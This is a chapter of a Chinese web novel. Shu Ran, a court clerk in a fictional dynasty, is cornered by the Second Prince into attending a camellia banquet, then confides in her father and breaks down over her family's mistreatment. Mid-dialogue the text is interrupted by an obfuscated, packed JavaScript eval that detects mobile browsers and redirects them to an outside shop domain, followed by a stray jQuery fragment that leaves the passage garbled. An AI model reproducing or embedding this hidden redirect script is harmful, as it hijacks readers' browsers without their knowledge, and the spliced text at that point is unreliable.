“下官舒冉，参见二殿下。”
二皇子缓步走到距离她约三步远的地方停住。从舒冉的视角，恰巧能瞧见他腰间那枚随着步伐微微晃动的玉佩。
“免礼。”
头顶上传来一道温润随和的声音。
舒冉直起身，依然规矩地将视线落在下方。
同样贵为皇子，不知为何，她总觉得这位二皇子殿下身上带有一种审视的压迫感，叫人后背发凉。
二皇子的目光越过她，落在了翠菱怀中抱着的纸包上，笑道：“舒小姐这买的是直尺，规矩，还有……桑皮纸？看来是在为去虞衡清吏司当差做准备了。”
舒冉心头猛地一跳。
昨日薛提督才递的折子，今日一早他们就摸得一清二楚，难怪葛少卿和舒长儒都或直接或间接地提到了二皇子，果然盯着呢。
她硬着头皮扯了个谎：“二殿下误会了。下官不过是旬休闲来无事，买些粗纸与用具回去学着作画罢了。”
说完，舒冉心中暗叫不妙。
这种托词，也是坐实了要去虞衡清吏司帮忙一事。可就算装傻充愣，之后人到了那边，这位二殿下也必然知晓。
她此刻进退维谷，说什么都是错的。
二皇子的视线又在那直尺和规矩等物什上略一停顿，随即轻笑了一声，道：“原来舒小姐还懂得作画，当真蕙质兰心。”
“……殿下谬赞了。”舒冉恭敬道。
来到大玄后见到的阴阳大师太多了，她总觉得这句轻飘飘夸赞，也带着股居高临下的嘲弄。
二皇子抬手，漫不经心地理了理袖口，缓声道：“正巧，过几日母妃要在宫中办一场山茶会，邀请京中女眷同赏山茶花。舒小姐既然有此雅兴，可在宴席上展露一二丹青之术，也算应景。”
舒冉心中一紧。
怎么办，直接婉拒？不行，大庭广众之下拂了皇子的面子，只会引来更大的麻烦。
先应承下来，之后再寻借口摆脱。
“殿下折煞下官了。”她再次施礼，将头埋得更低，“下官初学丹青，若贵妃娘娘与殿下不嫌弃，下官便厚颜献丑了。”
“舒小姐不必自谦。再者，舒小姐生得冰姿玉骨，有这等清丽出尘的相貌，便是画笔生疏些，立在席间也已是独一道的风景了。”二皇子脸上笑意未减，“舒小姐且安心备着，我们便不打扰了。”
说罢，他未再作停留，径自从她身侧走过，往书肆内堂行去。
两名侍卫面无表情地紧随其后。
何谦落后几步，对舒冉笑道：“舒主簿，贵妃娘娘的请帖想来不日便会送到府上，您且安心候着就是。”
“下官明白。”
直到那一群人的脚步声彻底消失在楼梯拐角，舒冉才慢慢直起身。
翠菱瑟瑟抬起头，小脸苍白，紧抱着怀里的东西。
“大、大小姐……”
舒冉紧握着拳头，半晌才缓缓松开，掌心留下深深的月牙印痕。
“没事，东西买差不多了，我们回府吧。”她转过头，尽量放缓语气安抚自家丫鬟。
＊
二人走出书肆。
乘着马车回到舒府时，已是正午。
刚进角门，舒冉停住了脚步。她转头看了看翠菱手里的桑皮纸和铅椠等物，道：“翠菱，你先回院子，把今日买的物什妥善放好。我去一趟正院。”
翠菱愣了一下，应道：“是，大小姐。”
正院书房。
阳光透过支摘窗洒在案头上。
舒冉跨过正院书房的门槛时，舒长儒正坐在案后打香篆。
他着一身玉色云纹道袍，腰系墨绿丝绦，外罩着一件绒领披风。此刻正手持一柄纯银灰押，将羊脂白玉炉中的香灰一点点压实。
门外候着的小厮低头行了礼，唤了声“大小姐”，并未阻拦。舒冉一路畅通无阻地行至案前。
“父亲。”她低声唤道。
舒长儒并未抬眼，将银灰押轻轻搁在案面上，取过一枚百刻篆香模子平放在灰面正中。随后他执起香匙，舀了细密的香粉，有条不紊地填入模具的镂空处。
“遇着麻烦了？”他语气平淡。
舒冉静立在侧，将方才在西市书肆偶遇二皇子与何谦，自己借口买纸作画遮掩，二皇子又如何顺势邀她赴山茶会之事，一五一十地说了。
舒长儒未曾停下手中动作。
待那枚繁复的百刻香印完整拓在灰面上，他才拿起一支引燃的线香，点燃了香印的一角。细细的青烟徐徐升腾，野苏、松球、藿香等香料混合而成的幽沉香气渐渐弥漫开来。
“坐吧。早膳时还端着脾气，这会儿倒拘谨了。”
舒冉撇了撇嘴，依言在下首的圈椅上坐下，到底没出声反驳。
舒长儒拿过案旁的锦帕净了手，朝外头吩咐道：“青岩，将窗子阖上，门关严实。”
“是。”
小厮们关窗阖门，躬身退了下去。
待书房内彻底安静下来，舒长儒方才抬眸看向舒冉。
“太子与二皇子你都见过了，你觉得这二位殿下如何？”
舒冉略一思忖，答道：“太子殿下用人不拘一格。我不过是个八品主簿，他却敢将使团诸事托付。且朝堂中抵触通商的大有人在，他能洞察其中利害，有锐意革新之魄力。”
“至于二殿下，表面温文尔雅，但方才在书肆，我自称下官，他却始终唤我舒小姐。在他眼里，大抵是看不上我这等女官的吧。”
说着，舒冉脸色又冷上几分。
自己凭真才实学挣来的官职，却依然换不来对方半点尊重。若要为这般人效力，舒冉心底是一万个不愿的。
舒长儒道：“其余几位皇子，资质平庸者有之，出身微寒或年纪尚幼者有之，皆与那个位置离得太远。太子殿下占着储君的正统名分，行事有度，唯独母家不显。二殿下的母族乃江南第一大族，树大根深，朝中势力盘根错节。”
舒冉抿了抿唇：“那父亲觉得，将来谁会……”
“世事难料。”舒长儒缓缓摇头，“历朝历代，入主东宫却未能登极的储君，亦或藩王起兵倒转乾坤的戏码，还少么？”
“那我眼下该如何应对？”
“你既也说，二殿下表面温文尔雅，他便会伪装到底的，你只需安分当差即可。他如今与世家福祸相依，将来若真有形势大变之日，迟早也要借其他势力制衡世家。便只为求个容人的好名声，他也不会轻易拿我们舒家开刀。”
舒冉微微一怔。
她确实未曾想得这般深远。
“至于眼下这场宴会，事由薛提督而起，自然该由他担着。”舒长儒端起茶盏，饮了一口，“只要把握好时机，此局便可迎刃而解。”
舒冉瞬间明悟过来。
她大概知道如何应对了。
舒长儒放下茶盏，站起身，绕过紫檀书案走上前来。
舒冉也下意识地跟着站起。
舒长儒身姿修长，站在舒冉面前高出许多。他忽地抬起手，在舒冉的发顶轻轻拍了两下。
顿时，舒冉僵在原地。
“今日吓着了吧。”
“我没……”舒冉下意识反驳。
“早膳时你连声父亲都不愿叫。”
“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580081|204244||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
…”
舒冉缓缓垂下头，视线盯着地面，闷声道：“……你怎么突然关切起我来了。”
听到这话，舒长儒停住动作，目光落在她的发顶，眼里透出几分疑惑。
“突然？”他微微蹙眉，“在你眼里，我往日对你不好？”
舒冉没吭声。
舒长儒收回手负在身后，缓声道：“京中门第相仿的府邸，未出阁姑娘的月例多是二两。你的月例是五两。你生母去得早，故而比起玥儿与泽儿，我每月还会额外多补给你五两私房，外加城郊一处田庄的进项。
“你母亲当年的嫁妆尽数封在单独的库房中，另外，这些年我亦替你备下了六十四抬厚实的陪嫁，京城里能与你比肩的屈指可数。
“至于那桩婚约。安北将军出身寒微，家中人口简单，唯有一位老母。原想着你嫁过去便能当家做主，断不会受了旁人的气。其间生出诸多波折，虽说误会皆已澄清，但既然你无意，我自然依着你的心思。”
舒长儒顿了顿，又道：“如今，你自己迈出家门，站到了朝堂上，我鞭长莫及，只能尽力而为，替你挡一挡。如此，何来‘突然’二字？”
舒冉怔了怔，抬起头，撞进舒长儒那双沉静的眼眸里。
她努力在脑海中翻找着原主的记忆。
却倏然发现，舒长儒并未撒谎。在他所说的这些事上，他确实为“舒冉”铺好了一条平稳安妥的路。
可是“舒冉”想要的，仅仅是这些吗？
“那‘我’前些日子落水，”舒冉鼻尖一酸，眼眶不由自主地泛起微红，声音带上了几分难以自控的激动，“你为何连看都不曾来看过一眼？”
如果那个可怜的灵魂没有溺死在池中，她也不会流落到这个陌生的世界。
一场乌龙悲剧，毁掉了她们两个人。
“我告假亲自持名帖，为你去太医院请来了资历最老的李太医。”舒长儒眉头微拧，语气依旧四平八稳，“我怎会不闻不问？”
不，不是这样的。
舒冉拼命摇头，一把揪住舒长儒的衣襟。
那郑氏的苛待呢？舒玥和舒泽的欺负呢？
这两句质问几乎就要脱口而出。可话到嘴边，却化作了一阵深深的无力感。
舒冉陡然发觉，自己根本拿不出任何实质的罪证。
郑氏刻薄，会暗中昧下裴家送来的节礼，每逢换季裁衣，或是得了什么稀罕物件，也总是先紧着自己的亲生儿女。平日里，更少不了端起主母的架子对她多番敲打。
舒玥口蜜腹剑，表面上亲亲热热地挽着她一口一个大姐姐，实则夹枪带棒，攀比贬低，见不得“舒冉”有半分越过她。
舒泽对她这个长姐毫无敬重，甚至时常端起男丁的架子对她规训指点。
可若深究起来，这满府上下，没有谁在“舒冉”的饭菜里下过毒，更没人亲手将她推入那池水中。
明明他们都是凶手。
可偏偏，无论是大玄还是现代的法律，都根本找不出一条罪名来为“舒冉”讨回公道。
胸腔里的酸楚与绝望如决堤般涌了上来。
舒冉死死抓住了舒长儒胸前的衣襟，用力攥紧。她仰起头，眼眶里蓄满的眼泪终于化作泪珠滚落。
她望着舒长儒，最终却什么也说不出来，只能脱力般地垂下头，无声哽咽。
舒长儒身形一僵。
看着襟前发颤的手，他眉头紧拧，抬起的手悬在半空，犹豫了一瞬，才轻轻落在她的背上，动作生疏地拍了拍。
“到底发生什么事了？”
舒冉闭上眼，泪水洇入衣料，只是痛苦地摇了摇头。